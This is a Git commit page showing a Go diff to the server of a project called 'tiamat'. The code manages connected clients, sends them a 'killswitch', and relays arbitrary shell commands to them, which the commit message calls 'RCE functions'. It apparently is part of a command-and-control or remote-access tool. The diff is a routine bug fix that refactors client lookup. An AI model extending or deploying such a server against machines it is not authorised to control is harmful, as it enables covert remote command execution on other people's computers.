raul
/
tiamat
1
1
Fork 0
Code Issues Pull Requests Packages Projects Releases 1 Wiki Activity

Return pointer to clientList item instead of copy 

I've also fixed several issues such as the killswitch and RCE functions
failing because of trying to use the struct identifier to access the
clientList array
This commit is contained in:
raul 2024-06-12 09:49:37 +02:00
parent 6c77b7d674
commit 0d839daf4e
2 changed files with 18 additions and 14 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

22
cmd/httpServer.go
View File

@ -66,7 +66,7 @@ func saveClients(c *gin.Context) {
defer f.Close()
as_json, _ := json.MarshalIndent(jsonClients, "", "\t")
f.Write(as_json)
log.Println("SUCCESS!")
log.Println("Success!")
}
func removeClient(c *gin.Context) {
@ -76,7 +76,7 @@ func removeClient(c *gin.Context) {
c.String(http.StatusInternalServerError, "Error happened fetching client: %v", err)
return
}
client, err := returnClient(intClientID)
client, id, err := returnClient(intClientID)
if err != nil {
return
}
@ -89,7 +89,7 @@ func removeClient(c *gin.Context) {
log.Printf("Removing client %v\n", intClientID)
if len(clientList) != 1 {
clientList = append(clientList[:intClientID], clientList[intClientID+1:]...)
clientList = append(clientList[:id], clientList[id+1:]...)
} else {
clientList = nil
}
@ -117,7 +117,7 @@ func getCommands(c *gin.Context) {
c.String(http.StatusInternalServerError, "Error happened fetching client: %v", err)
return
}
client, err := returnClient(intClientID)
client, _, err := returnClient(intClientID)
if err != nil {
c.String(http.StatusNotFound, "Client not found")
return
@ -134,16 +134,20 @@ func sendKillswitch(c *gin.Context) {
c.String(http.StatusInternalServerError, "Error happened fetching client: %v", err)
return
}
_, id, err := returnClient(intClientID)
if err != nil {
return
}
if clientList[intClientID].IsOnline == false {
if clientList[id].IsOnline == false {
return
}
inst := Instructions{
IsKillswitch: true,
}
clientList[intClientID].Instruct(inst)
clientList[intClientID].IsOnline = false
clientList[id].Instruct(inst)
clientList[id].IsOnline = false
}
func execCMD(c *gin.Context) {
@ -154,7 +158,7 @@ func execCMD(c *gin.Context) {
return
}
client, err := returnClient(idInt)
client, _, err := returnClient(idInt)
if err != nil {
return
}
@ -166,7 +170,7 @@ func execCMD(c *gin.Context) {
command, _ := c.GetPostForm("cmd")
out, err := sendCommand(client, command)
out, err := sendCommand(*client, command)
if err != nil {
e := fmt.Sprintf("Error happened executing command: %v\n", err)
c.String(http.StatusOK, e)

10
cmd/serverFunc.go
View File

@ -135,7 +135,7 @@ func sendCommand(client Client, command string) (Output string, err error) {
func Heartbeat(ID int) {
for {
client, err := returnClient(ID)
client, _, err := returnClient(ID)
if err != nil {
return
}
@ -160,14 +160,14 @@ func Heartbeat(ID int) {
}
}
func returnClient(ID int) (Client, error) {
for _, v := range clientList {
func returnClient(ID int) (*Client, int, error) {
for i, v := range clientList {
if v.ClientID == ID {
return v, nil
return &clientList[i], i, nil
}
}
err := fmt.Errorf("Client not found\n")
return Client{}, err
return &Client{}, -1, err
}
func ServerMessageReceiver(conn net.Conn) (Response, error) {